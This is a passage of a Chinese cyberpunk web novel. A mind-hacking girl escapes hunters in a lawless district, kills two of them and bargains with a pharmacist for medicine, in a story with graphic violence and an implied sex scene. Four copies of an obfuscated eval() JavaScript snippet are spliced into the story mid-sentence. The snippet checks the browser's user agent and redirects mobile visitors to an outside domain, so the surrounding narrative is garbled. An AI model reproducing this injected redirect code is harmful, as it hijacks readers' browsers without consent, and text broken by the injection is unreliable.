店员的眼珠子都要从镜片后面跳出来,张着嘴捂住自己的胸口。他的表情逗乐了银发男。 “宝宝,好不好看?” 女伴抬起头,敷衍道,“好看。” “那你留着玩吧。” 女伴正仔细端详美容针呢,接过针剂,随手就扔进了珠光粉的镶钻小包里。 他们腻腻乎乎地向店门口走来。 林真屏住呼吸。只要能顺利入侵其中一个人,她就能神不知鬼不觉地把大脑稳定液拿到手。 然而下一秒,她的手里突然一空。 那个小孩从她手里窜出去,撞在银发男的女伴身上,把对方撞得一个趔趄,然后像一个球一样弹回来,回头冲摔做一团的两人吐了吐舌头。 林真还没来得及开口,就感觉自己手里一凉。 小孩抓住她的手,把一个冰冷的东西往她手心里一塞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904332|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是个细长的圆柱体。 那是大脑稳定液。 小孩仰头朝她看了一眼,黑漆漆的大眼睛里带着得意。 “还你。”他用嘴形说。 林真仿佛看见了耗子。她收起那支针剂,反手攥住小孩的手腕,挤开人群往外走。 他们刚刚转身,一道尖利的嗓音在店里炸响: “他们偷您东西!宴少,我这只眼睛看见了!他们偷您东西!管理员!管理员呢?” 林真把小孩往前一推,“快跑!” 玛莎说过,这样的孩子不少,如果被抓到了,就会被赶出居民区。 她咬了咬牙,举起手里的大脑稳定液。 蓝色的月光在她手里闪烁。 她对上银发男的眼神,嘴角下撇,大声嘲讽道:“垃圾。” 下一秒,她转身,往另一个方向跑。 身后传来跑车引擎发动的声音。围观的人群自动让出通道,谁都不愿为一个陌生的穷鬼小偷多说一句话。 人跑不过跑车。 就像猎物跑不过捕食者。 但当捕食者不饿的时候,他们有更残忍的追猎方式。他们会追得更久,也杀得更慢。 农场管理者们的叫好声渐渐远去。 野草逐渐占领了废弃的路面和高架桥。 路旁,整齐的楼房变成了低矮杂乱的棚户。 林真撑着膝盖,大口喘气。还没等她缓过气来,远处,引擎声再次响起,然后越来越响,再次逼近。 她看着声音传来的方向,开始一步步后退。 她的背后,是黑街无形的边界。风里带上了机油和铁锈的味道。 气味能勾起最深处的记忆。林真突兀地想起那个醉汉尸体的重量,“审判者”烧红的枪管,还有诺曼的眼睛。 那双眼睛在说—— 你迟早会回来的。 被跑车轰鸣的声音惊动,黑街里,陆续探出几张鬼鬼祟祟的面孔。他们盯着那价格不菲的跑车,像是看着案板上的鱼,或者跑进自家围栏的大肥猪。 林真要的就是他们的贪婪。 如果银发男是一头残忍的老虎,黑街就是那群饿狼。 驱狼吞虎。 银蓝色跑车在黑街外猛然刹住。 林真看到副驾驶的女人抱着银发男的胳膊,脸上满是恐惧,嘴里在不停地说着什么。 这就对了。 她悄无声息地退到屋檐下的阴影里,贴着冰冷的墙面。 对方富贵、傲慢、安全,视人命如草芥,随手就能买下上万点的药物,用于享乐。 而她,安恬,桃子,她们把自己卖了,也换不来玛莎的一针药。 她大口喘着气,看着那辆车,竖起中指。 “垃圾。” 跑车的顶棚打开,银发男踩在座椅上爬了出来。他掏出一把雕花镀银的小手枪,指向林真藏身的角落,开口道:“那小贼抢了我一瓶大脑稳定液,价值五千信用点!” 他的手朝黑街方向一指:“送你们了!” 林真浑身的汗毛瞬间炸了起来,一滴冷汗沿着下巴滴落。 她缓缓回头。 巷子里,铁皮门“咣”地一声打开。 对面的阳台上,探出一截锈刀。 一双双眼睛,从废弃广告牌下、破破烂烂的雨棚后、烧焦的卡车残骸旁看了过来。 一招不慎,前狼后虎。 “草!”林真低声骂了一句。 12. 药店(二) “……五千点?老子一年都赚不到!” 阴暗的巷子里,有人沙哑地笑了两声,“少爷大气啊!” “哪里哪里,好说好说。”银发男正洋洋得意呢,又听到另一个尖锐的声音响起:“少爷不下来坐坐?” 女伴从下方拽着他的袖口,“我们走吧……别玩了,我怕……” “怕个屁,谁能动我?我……” ——砰! 一声枪响,超跑的左后视镜飞了出去,重重砸在地上。 银发男哆嗦了一下,腿一软,连人带枪缩回了驾驶座。 这一边,林真一咬牙,冲出巷子,向黑街里跑去。 黑街深处,诺曼看着终端上突然出现的红点,勾起嘴角。他站起身,来到窗户边,望着地图上显示的方向,手指点了点终端。窃听软件响起轻微的电流,然后逐渐变清晰。 下一秒,一个熟悉的女声响起:“草你的诺曼!” 诺曼好看的眉头拧起,露出一丝不解,“啊?” 不是,为什么啊? 林真不敢往小巷子里去,只能沿着大路跑。 上次她跟着诺曼离开黑街,还是在傍晚。那时,沿街的酒吧灯火通明、人声鼎沸,门廊下挤满了醉醺醺的客人和揽客的男女。现在,挂着灯笼的门廊里空空荡荡的,霓虹灯牌有气无力地闪烁。 林真跑过一间老酒馆。风吹动酒馆半掩的木门,发出“嘎吱”一声。 她停住脚步,折回来,推开酒馆大门,矮身进入店里。 木头大门上镶着一大块彩绘玻璃,红色的荆棘玫瑰和绿色的蛇缠绕在一起。光线穿过玻璃,斑斓地落在她的脸颊和脖颈。她抹了一把脸颊,手指就带上了一抹血迹。 “嘶……” 她轻吸一口气,闭上眼。 ESCAPE。 黑色的世界覆盖上真实的街道。 她的视角缓缓上升,仿佛从空中俯视黑街迷宫一样的街道。猎人们的脑子出现在迷宫里,蓝色和紫色的光点,有的在快速移动,有的在原地仔细搜寻。但凡听到一点声响,他们手里的猎枪就会毫不犹豫地开火。林真脸上的伤,就是这么来的。 如果黑街是一个逃杀游戏,她就是一个白板新手,能逃到现在,靠的就是这近乎游戏开挂的能力。她已经绕到了大部队的后侧,现在,只有几个猎人还咬着她的踪迹。 一个紫色的脑子正在快速接近。 林真屏住呼吸,缓缓退到半圆形的酒吧吧台后。她拉开吧台下的柜门,把自己塞进去。 数十秒后,黑色的猎枪探进酒吧的门缝中。 “嘎吱” 紫色的脑子推门而入。 猎人在空空荡荡的酒吧里转了一圈,毫无收获。他把猎枪往肩上一扛,靠在吧台上,骂骂咧咧地啐了一口。 “什么玩意儿,这么能跑。”他愤愤道,“抓到老子搞死你。” 没找到人,他显得愈发不耐烦,抬脚重重踹在吧台上。 “咚!” 柜台里,林真的肩膀猛地绷紧。 只要再撑一会儿,猎人就会离开了。 她咬紧了牙关。 可吧台上又是“咚”的一声闷响。 林真抬起头,就看见猎枪被随意地搁在了吧台上,露出一截细长的枪口。 猎人趴在吧台上,一条胳膊支着台面,另一只手伸进了柜台里。 林真蜷在狭窄的柜角,死死捂住自己的嘴。 那只关节粗大、皮肤黝黑的手在酒瓶酒杯之间乱摸着,指节扫过玻璃架,发出轻微的“咚咚”声。 ——这人不是在找她,他在找酒。 猎人的视野被台面挡住,胡乱摸索间碰倒了几个水晶酒杯。 酒杯从架子上滚落,摔碎成几块,圆形的杯底滚到她的脚边,停下了。 “嗯?” 猎人发出一个鼻音,大手向着她的方向探来。 林真的心脏几乎停跳,她抬起手,把旁边一瓶没开封的酒轻轻挪到猎人手前。 猎人的手摸到了细长的酒瓶瓶颈,提起来晃了晃,确认不是空酒瓶后,满意地收了回去。 红酒瓶在林真面前缓缓升起。 黑红色的葡萄酒在瓶子里晃荡。 她几乎要放下心来。 可下一秒,酒瓶上映出了她的脸。 空气凝固了。 猎人的大脸出现在林真面前。他有着一个红得发烂的酒糟鼻。脓水从鼻翼上滴下来。 他张嘴喷出一口腥臭的口气,露出一嘴黑黄参差的大牙。 “你躲在这里啊,小东西——” 林真毫不犹豫,抄起脚边的酒杯碎片,狠狠朝那张脸扎过去! 玻璃划开皮肉,猎人惨叫着后退,手里的红酒瓶用力向着林真砸下来。 林真侧身闪躲,一边冲出柜子。红酒瓶砸碎在她的肩膀上,淋漓的酒液扑了她一身。红酒酸涩的气息一下子弥漫开来。 她捂着肩膀,背靠在墙壁上,死死盯着烂鼻子猎人。 烂鼻子捂着鲜血淋漓的左眼,另一只手举起猎枪,嘶声道:“东西交出来——” “砰” 林真身边的墙上,瞬间多了一个冒着黑烟的弹孔。 她咬住下唇。 ESCAPE。 黑色的意识世界轰然展开,她毫不费力地抓住了那颗紫色的脑子。 “嘎吱” 酒馆的大门再次被推开。 林真豁然转头。 在高度紧张下,她眼前的世界诡异地分成了两半。一半是黑色的意识世界,一半是木头的酒馆大门和闻声而来的猎人。 她的大脑针扎一样的疼,但她还是咬牙抬起手。 如同提线木偶一般,烂鼻子抬起猎枪,扣动扳机。 新来的猎人没想到会被伏击,手里的柯尔特左轮迟了一步才迸发出火光。 “砰——砰!” 两声枪响先后炸开。 烂鼻子和新来的猎人同时一晃,面对面倒下。 林真回到自己的身体里。她喘着粗气,等了两秒,捡起只剩瓶颈的半截酒瓶,从吧台后走出来。 她知道自己得赶紧走,可刚跨出一步,一只手突然抓住了她的脚踝—— 烂鼻子胸口中弹,却还没有完全死透,从嘴里发出“嗬嗬”的声音,“你……你是……高等级的,大脑骇客!” 他仅剩的眼睛充血,血色里是满满的贪婪。 死亡让欲望更浓烈。 林真咬紧了牙关,用力踹开烂鼻子的手,躲开两步。 可烂鼻子像僵尸一样再次爬了过来,嘴里嘶嘶往外喷血:“你的脑子……老子要……你的脑子……” 别被发现,要是被发现了,记得灭口就行。她回忆起诺曼的话。 烂鼻子的手再次爬上她的鞋尖,像蛇。 林真不躲了,她缓缓蹲下,左手抓住烂鼻子后脑的头发,把他的脸压在地面上,右手的酒瓶悬在对方的后颈上。 烂鼻子开始挣扎起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904333|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,指尖在地面上抓出一条条血痕。 林真闻到死亡的味道,腥臭又浓烈。 她的手却迟迟没扎下去。 一秒,两秒,三秒…… 手下的挣扎逐渐消失了。 生命吵闹鲜活,死亡冰冷、和一切格格不入。只要见过一次,你就能很轻易地区分出来。 林真像是被电了一下,左手猛地松开。 “不是我……”她喃喃道。也许是穿肺而过的子弹,也许是窒息。那都和她没有关系! 她还想再说什么,却发现自己握着瓶子的手开始发抖。 半截红酒瓶从她手里滑落,“当”的一声落在地上,裂成两半。 风吹动了木头大门,绿色的蛇影落在她的侧脸上。它们嘶嘶作响,蛇信舔舐着她的脸颊: ——林真,你要逃避到什么时候去? ——林真,你抬起眼看看,是你杀了他们。 黑红色的鲜血流淌开来,和红酒混在一起。红酒酸涩的气息被鲜血浓烈的腥味盖住。 林真抓起酒瓶碎片,闭着眼,用力插下。 一阵颤栗窜过她的四肢,她跪倒在地上,低下头,从嗓子眼里发出像是呕吐又像是哭泣的声音。 可她没有吐,也没有哭。 她隔着衣服握住了口袋里的药,然后站起身,扎起披散的头发,捡起猎枪和门口猎人手里的柯尔特。 她推开老酒馆的大门。 阳光已经变得刺眼了。 街对面的墙根蹲着几个人。他们穿着破破烂烂的衣服,抓着蛇皮袋子,像是一群等着捡漏的秃鹫。 酒馆的门一开,秃鹫们的喙就抬了起来。 见从酒馆里走出来的不是猎人,而是一个身形纤弱的少女,中间的秃鹫眯着眼站起身。 可他刚踏出一步,就对上少女平静的眼神。少女没有说话,只是慢慢把柯尔特的枪口对准了他。 秃鹫举起双手,站在原地,眼珠缓慢转动。他这才注意到,少女那扎得高高的深紫色马尾正一滴一滴地淌着血。血沿着发梢滴下,落在她已经变黑的灰色上衣上。 荆棘玫瑰的图案投影在她的脸颊上,玫瑰的花瓣一滴滴往外渗着血。 她的身后,昏暗的酒馆里,躺着两具猎人尸体。 秃鹫们闻了闻空气,一齐低下头,垂下目光,蹲回墙根,安静地等着少女离开。 “当”的一声,一把猎枪落在他们面前。 秃鹫们瞬间炸起浑身的毛,撕打在一起。 在他们撕打间,那个纤细的身影消失在左边的巷子深处。 几分钟后,一个牵着狗的猎人从另一头过来。他看了一眼街上被扒得干干净净的两具猎人尸体,沉声问道:“他们追的人呢,往哪个方向去了?” 秃鹫们缩起肩膀。 “……不,不知道……” “没看见……” “砰砰”两声。 “废物。”猎人冷声道。 最后一只秃鹫鼓起勇气,嘶声喊道:“大人,我就看到她一身的血!” “砰——” 血从他的脖子里喷出。 “还是废物。” 猎人放开手中的狗。 那是一条黑色的牛头梗,眼睛是红褐色的,肌肉紧绷如钢铁,脖子上套着带刺的项圈。 猎犬低头闻了闻,尾巴像过电一样竖直了,然后高高扬起头,“嗷呜”了一声,猛地扑向左边的巷子。 猎人露出一抹冷笑,迈步跟上。 13. 药店(三) 林真在黑街的巷子里绕了几个大圈。 她手里拿着枪,衣服上又满是新鲜的血迹,这很好地震慑了巷子里那些鬼鬼祟祟的身影,连沿街兜售非法梦境芯片的小孩都远远地避开了她。 林真没有看他们一眼。 她的脚步不停,一头拐进旁边更窄的小巷,眯起眼,意识一动。 ESCAPE。 黑色的意识世界如夜幕降临,重叠在真实的街景上。 几个街区之外,一个蓝色的脑子依旧死死咬着她。这已经是最后一个了。她已经变换了几次方向了,但对方似乎也开了外挂,分毫不差地跟上了她的脚步,甚至在逐渐逼近。 林真抬头望向旁边那栋破楼。 楼房的侧面吊着一架老旧的消防梯,通向二楼的平台。 林真用力拉了拉梯子。梯子“咯吱”作响,但还算牢固。 她忍着右肩被酒瓶砸出的疼,一口气攀了上去。 二楼的水泥平台似乎是违规建筑,和旁边那栋楼的走廊只隔着巴掌宽的缝隙。 这就是林真物色好的观察点了。 既然甩不掉,那就让她看看,对方到底开了什么挂。 她扶着墙,纵身跃上平台。平台上到处洒落着啤酒瓶盖、玻璃碎片,甚至还有废弃的针管。针管带着黑色的污渍,也不知道是不是陈年的血迹。 林真在露台边缘扫出一块空地,小心地趴下,透过缝隙看着下方的巷子。 露台边缘的苔藓擦过她的脸颊,留下几丝冰冰凉凉的水气。 不多时,巷口出现了一个影子。 那是一条牛头梗,黑毛,尾巴半截,脖子上的皮质项圈钉着寸把长的钢钉,连在猎人手里的狗绳上。 牛头梗低着头,嗅闻着潮湿的地面,发出“呼哧呼哧”的声音。 林真的瞳孔微微收缩,汗从掌心浸出来。 原来是这样。她闻了闻自己的手,浓烈的酒味和血腥气直冲天灵盖。 如果不能解决这条狗,她今天走不出黑街。 她屏住呼吸,用手肘撑在平台上,手里的柯尔特抵在露台边缘。她的手指压在扳机上,微微眯起眼睛,缓慢挪动枪口。 牛头梗走着S型,时不时左右张望,一点点进入了她的准星。 突然,它像是嗅到了什么,停下脚步,猛然抬起头。 那双血红色的眼睛直勾勾地盯住了林真。 林真毫不犹豫扣下扳机。 ——砰 枪声在窄小的巷子里炸开。 林真来不及看结果,她快速起身,跨过缝隙,跳入旁边的楼房,拔腿就跑。 楼道尽头通向另一个街区。林真翻过二楼栏杆,落在一排低矮的铁皮屋上。有人从屋子里探出头,看见林真手里的枪,有飞快地缩了回去。 远处,暴烈的犬吠响起。 林真在屋顶上悚然回头。 一个街区外,那条牛头梗顶着半个血肉模糊的脑袋,冲她的方向不要命地冲来。 林真赶紧跳下房顶,在巷子里狂奔。 犬吠声时隐时现,时近时远。 她的心脏猛烈跳动着,肺部发紧,眼前阵阵发黑,再抬头时,眼前已是死路。 右边是连片的没有窗户的筒子楼,左边是一栋带着院子的二层小楼。 林真没有犹豫,翻过围栏,穿过院子,绕到小楼正面。屋子前门有着老式的门廊,入口处挂着一块深色的布帘。布帘垂到地面,后面隐约露出一扇木拉门。 林真抬手就要掀开布帘。 “呜——” 一声低低的鼻音几乎贴着她的小腿响起。 林真浑身一僵,握紧了手里的柯尔特,缓缓低头。 布帘底下,一条细长的狗脸探了出来。它有着黑棕色的皮毛,下颌却是金属的。 那条狗缓缓靠近林真,用鼻尖碰了碰她的裤腿。她今天穿的裤子是林雪的,一条黑色的工装裤,裤脚有松紧带,固定在脚踝上。 林真屏住了呼吸,一动不敢动。 她小时候经常做噩梦,梦里总是被狗追,被狗咬。家里人说,那是祖先们想她了。每做一次这样的梦,家里就会让她去灶台前拜拜,说今年清明一定多烧点纸钱。 或许是因此,她一直都很怕狗。 这么一犹豫,门廊下也传来了沉重的喘息声。 那条黑色的牛头梗爬上台阶。它的宽脸已经面目全非,一只眼球挂在眼眶外,随着动作晃动。它剩下的眼睛死死盯着林真,从嘴里发出低低的吼声,唾液混着血液滴落在地上。 林真左右看了看。 她今天出门犯狗,是吗? 真好,狗上加狗,左右为难。 她没有时间犹豫了,举枪再次瞄准了牛头梗,扣动扳机。 咔哒。 枪里竟然没有子弹了。 牛头梗压低身子停顿了半秒,发现没有威胁,脚爪在地上狠狠一抠,直接扑了上来。 林真只来得及抬手挡在胸前。 就在这时,一道银色的闪电越过她,狠狠撞在牛头梗身上。 扑上去的是那条细犬。林真这才看清,它的后半身,从胸口一直到后腿和尾巴,都是金属的。 牛头梗被撞得在门廊上打了个滚,好不容易借着栏杆翻身,又低吼着扑了回来。 可细犬毫不退让,合金腰部猛地一顶,死死挡住牛头梗的嘴,把对方顶回栏杆上。牛头梗的牙齿拼命咬在那块合金上,发出刺耳的摩擦声。 同时,细犬快速回身低头,对着牛头梗烂了一半的脑子就咬下去。 它用爪子扣,用牙齿咬,甚至用合金的下颌撞击。 直到,“咔”—— 林真听到了清脆的骨裂声。 牛头梗全身抽搐了一下,颤抖着瘫软下来,舌头从嘴里挂了出来。 细犬继续撕咬了几秒,确认对方再无反抗,才松开嘴,帅气地甩了甩头。 好狗!林真几乎要给它鼓掌了。 细犬吐掉嘴里血糊糊的脑组织,过来蹭了蹭林真的裤腿,把嘴边的血糊吧啦都抹在了林真裤腿上。 林真:…… 林真万分感动,但是不敢动。 她伸手,小心翼翼地摸了摸细犬的耳朵中间。 街角对面,追上来的猎人抬起□□,对准了她。 林真立刻举起空了的柯尔特。 细犬叫了一声。 林真身后突然一空。 木门被拉开了,一个温柔慵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904334|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒的女声嗔怪道:“黑子小姐,你又给我带了什么奇怪的客人回来?” 细犬立刻“呜”了一声,摇着合金尾巴去蹭刚出来那人的腿。 那是一位年轻女子,肤色很白,留着公主切,身上裹着一件宽大的灰蓝色浴衣。她看了一眼门廊里牛头梗的尸体,皱起眉头,“这只丑东西是你的?” 林真摇头,手里的柯尔特一指。 “也是,美人怎么能养这么丑的狗。”年轻女子轻笑一声,看向街道对面的猎人。 猎人微微垂下枪口:“药师,我只是抓个人,不小心路过你家门口,无意冒犯您。” 药师看向林真,她有一双猫一样的眼睛,只是左眼是一只白瓷义眼,瞳孔空白一片。 “你怎么他了?”药师问道。 “他要我身上的药剂。” “唔。拿出来,我看看。” 见林真犹豫,药师撇了撇嘴:“小气。我一屋子的药剂,整个黑街都找我买药,又不抢你的。” 林真咬了咬牙,从口袋里摸出大脑稳定剂。 药师一把拿过,举到右眼前,就着阳光细细端详。药剂在玻璃管中泛着柔和的浅蓝色光芒。 对面,猎人的脚步在砂石地面上轻轻一挪,悄悄又逼近了几分。 “就这种玩意儿,你们也抢?”药师轻笑道。她像是真的觉得很好笑,连脸边的头发都在抖动。 “这种垃圾——” 药师忽然扬起手。 那瓶价值五千点的大脑稳定液,在阳光下划出一道弧线,越过门廊的栏杆。 林真和猎人几乎同时伸出手。可他们一个距离太远,一个被栏杆挡住,只能眼睁睁地看着药剂砸碎在石子路面上。 “好啦。”药师拍了拍手,“现在你可以走了吗?” 猎人脸颊的肌肉抽动,半晌才挤出一句话来:“……不愧是药师。” “知道就快滚。呐,小妹妹,进来喝茶吗?” 林真已经翻过栏杆,直接跪在石子路上。她全然不顾膝盖传来钻心的疼痛,俯身去捡地上的碎片。 碎片躺在她的手心里,拼凑起来,真真实实是那一管大脑稳定液。 那一滩短命的液体快速浸入干裂的石缝,月光一样的药液融化在阳光下。 林真用力抠出沾了药剂的石头,紧紧握在手中。 她的手在颤抖。 一分钟前,她手里还有能救玛莎性命的药剂。一分钟后,只剩下锋利的无用的石块。 她怎么能把药剂交到别人手上? 她怎么能相信黑街人说的话? 她猛然回头,一咬牙,黑色世界展开。 你要付出代价,她想。 药师还趴在木头栏杆上,宽大的灰蓝色袖子垂下来,无知无觉地笑着问:“已经没有用了啦——进来喝茶吗?” 她绿色的脑子在林真面前闪烁,毫无防备。 名叫黑子小姐的细犬“呜”了一声,挡在林真和药师中间。 药师看着林真,歪了歪头,继续说:“卖那种东西,五区的药店真是不怕遭报应哎。” 林真睁大了眼睛。 “……你说什么?”她缓慢开口。 “唔,我说,进来喝茶吗?” 14. 药店(四) 药师的客厅不大,却别有一番天地。大大小小的绿色圆球从屋顶上悬挂下来,里面种着各种植物,从吊兰,到文竹。林真甚至看到了一小棵巴掌大小的橡皮树。 她几乎怀疑自己是走进了什么绿色氧吧,又或者是一间供奉植物精灵的神庙。 “Kokedama。”药师在正中间的矮桌前跪坐下,介绍道:“用泥土包裹植物的根部,做成圆球形,然后用苔藓和麻绳固定。这就是苔玉球。” 她一边说,一边拿起刚烧开的水壶,熟练地把水倒入桌上三只并排的白瓷杯中。 “很好看。”林真称赞道,在桌子前盘腿坐下。 药师放下水壶,从铝罐子里舀出两勺茶叶,放进紫砂壶里。然后,她将茶杯里的水倒入壶中,盖上壶盖,在桌面上点了两下。 桌面上,一个圆形电子计时器亮起,计时一分钟。 黑子小姐溜进来,在矮桌旁转悠。 “黑子小姐,你脏死了。”药师嫌弃道。 她看向林真,“不好意思,等时间到了,请帮我把茶水倒进杯子里。我去给黑子小姐拿条毛巾。” 她说完就站起身,拉开身后的木头移门,进到屋子里头去了。 林真和黑子小姐大眼瞪小眼。 黑子小姐“呜”了一声,又要来蹭林真的衣服。 林真心一横,伸手抵在它的脑门前,“不行,真洗不起衣服了。” 黑子小姐又“呜”了一声,原地躺下,翻了个身,露出一半皮毛一半金属的肚皮。 林真配合地拍了它两下。 “滴滴滴” 定时器响起。 林真看了看没有动静的里屋,还是拿起茶壶,左手按住壶盖,先从左到右每只茶杯挨次到了小半杯,然后从右到左,补上剩下的一半。 茶色均匀,茶倒七分满。 这时,木门悄无声息地滑开。药师端着一个旧搪瓷脸盆出来。她看了一眼桌上的茶,语气惊喜:“你还真会喝茶哎。” “哎?” 药师把其中一杯茶推到她面前,解释道,“会喝茶的人在五区很少见了。那群狗东西能把我的茶倒了,把茶叶渣都吃掉。喝吧,你现在需要一点能安神的东西。” 林真却没有拿起茶杯:“我不是来喝茶的,你说五区卖的大脑稳定剂是垃圾,为什么?” 药师跪坐在地上,一边拽过黑子小姐的前爪,动作熟练地替它擦脸,一边问:“你从谁那儿买的?” “五区药店,大脑农场边上的,正规的那家。” “卖你多少钱?” “五千信用点。” “我就知道。真正有效的大脑稳定剂,才不止这个价。五千买到的,大概率就是垃圾兑水罢了。”药师从黑子小姐嘴巴里抢回毛巾,拍了黑子小姐的脑袋一下,“坐好,别晃。像个淑女,黑子小姐。” 她折起毛巾,挂在脸盆边沿,然后跪坐着挪动到矮桌边,接着说:“大脑稳定剂应该是深蓝色的,像蓝宝石一样的颜色。这种几乎看不出颜色的,要么是废料,要么是过期的,要么是废料和过期的混一块儿。我建议你别用。” 林真摇头:“但我要救一个人。” “大脑衰竭呀?那也是没办法的事,毕竟是五区……”药师咕哝道,指尖捧起一盏茶杯,用浴衣袖子遮住脸,将茶一饮而尽。 她一甩袖子,对林真展示了一下空杯底:“你也喝呀。” 这几乎喝出了喝酒的豪迈了。 可林真心事重重:“哪里有真正的大脑稳定液?” “哎呀,真麻烦……四区你又去不了,”药师摇摇头,看着林真凝重的表情,又笑了,“不过呢,远在天边,近在眼前。” 林真看着药师白瓷一样的脸,“我要用什么和您换?除了两百多信用点,我只有这把手枪了。” 药师看了桌上的柯尔特一眼,撇撇嘴。 “我知道这不够,我可以想办法还您钱——”林真急切道。 “唔,你陪我把这壶茶喝完,我就给你一管真正的。” 林真怔住,她有些不敢相信。 这茶里有什么?迷药?毒药?鹤顶红?这是一命换一命的戏码吗? 她盯着白瓷杯里红棕色的茶水。 可茶是她倒的,水是烧开的,药师已经喝了一杯了。 她一咬牙,端起茶杯,看了一眼药师,像就义一样,仰头一饮而尽。 药师又笑出声。 她笑着冲了第二壶。 “我又不谋财害命,别这么紧张。一管大脑稳定剂而已,我不稀罕。你的茶倒得很好,我难得能遇上个喝茶的人。你陪我喝茶,我给你一管真正的大脑稳定剂。” 林真放下茶杯,利落地往前一推:“那请给我满上。” 黑子小姐躺在矮桌下,头枕在药师的膝盖上,尾巴懒洋洋地拍着林真的小腿。 第三壶减去了茶叶的涩味,变得更柔和,茶水里渗出一丝甘甜的滋味。 林真喝完了最后一口,把杯底一转,亮了出来。 药师恋恋不舍地放下杯子,叹息道:“是本该如露水般短暂。” “然而,然而。”林真接上。 两人对视一眼,相视而笑。药师伸了一个懒腰,浴衣的袖子滑落到肩膀,露出白皙的手臂。手臂内侧带着一小片泛红的印痕。 林真怔了一下,赶紧移开目光,脸微微地红了。 “扑哧——”药师又笑了,笑声里带着点揶揄。 她收起白瓷杯,放进红漆的托盘里,走进里间。这一次,她很快就出来了,把手里的针剂递给林真。 青天蓝的玻璃管针剂躺在林真手心里。她像是过年拿了红包的孩子,忐忑不安地捂着口袋,“请问,这一管多少信用点?” “唔,看品质吧,这一管算一般的,但我提纯过,在四区卖的话,大概五万吧。” 这个价格有点荒谬了,是一个人在农场不吃不喝不休息也要干五年的程度。林真干笑了一声。 “四区的东西都贵,但毕竟质量好,一顿饭也要二十几信用点呢。”药师看出了她的窘迫,“你不是要去救人吗?” 林真把针剂放进口袋里,忽然抬头:“我能相信你吗?” 药师粲然一笑:“不然你能相信谁呢?” 林真默然。 “不要相信黑街的人。”药师柔声说,“下次也不要和我喝茶了。” “我不是那个意思!” “我知道,但这是忠告。对了,这药也就撑个一年半载。那个人,最好别再去农场了。” 黑子小姐把林真送到门外,蹭了蹭她的裤腿,摇着尾巴回了客厅。里间的移门没有关,它安静地走进里间,在一扇素白屏风前坐下。 药师的影子落在屏风上。 “你今天怎么这么好心?”一个妖冶低哑的声音响起,屏风上竖起另一道细长的影子。 听到这个声音,黑子小姐“呜”了一声,伏低身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904335|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把头搁在前爪上。 药师的声音传来,“她身上有故人的影子。” “故人?”妖冶声音的主人皱起眉,抬手将药师揽向自己,手指一勾,拉开了浴衣的系带。 浴衣落在地上,发出一捧雪落下的声音。 “V。”药师发出一点不赞同的声音。 伏在她光裸小腹上的人抬起头,右眼眶里,三颗猩红色的机械眼球转了一圈,“枝理,你是不是还在怪我?” “不,你帮了她,我和你帮了她。我难道要怪我自己吗?”药师的手放在对方后脑勺上,揉了揉那毛毛刺刺的短发。 “而且,”她喘息了一声,“故人,也就只是故人。” “那今天那个女孩呢?” “五月到了,”药师呻吟一声,倒吸一口气,扬起头,“我给你积点德,维斯佩拉。” 不再有人说话了,水声和呜咽声响起。 屏风外,黑子小姐“呜”了一声,抬起前爪,捂住了耳朵,尾巴在地板上拍了一下。 林真在黑街的巷子里穿行。已经没有人再跟着她了,偶尔有试探的目光落在她身上,看到鲜血和手枪后也会默默移开。她经过了两起械斗,绕过一幢发生爆炸的筒子楼,终于见到了黑街的边缘。 像来时那样,她开始奔跑。 居民区的入口终于出现在她的眼前。 正值午饭时间,只有一个管理人员坐在值班室里。他上下打量了林真两遍,然后骂道:“晦气,你怎么没死在黑街呢?害老子又要输钱!” 林真抿住嘴唇,沉默地往里走。 她的芯片不一定能过安检。但是这次,没有诺曼帮她偷渡了。 安检口的红灯果然亮起来了。 管理人员举起手里的电棍。可下一秒,他的动作停住了,他的手一转,电棍重重砸在自己脑袋上。 林真让开一步,看着管理人员僵硬地摔倒在入口。 这只是一个最低级的管理,他没有关闭警报的权限。林真入侵他大脑的第一时间就知道了。 但她今天非得进这个门不可。 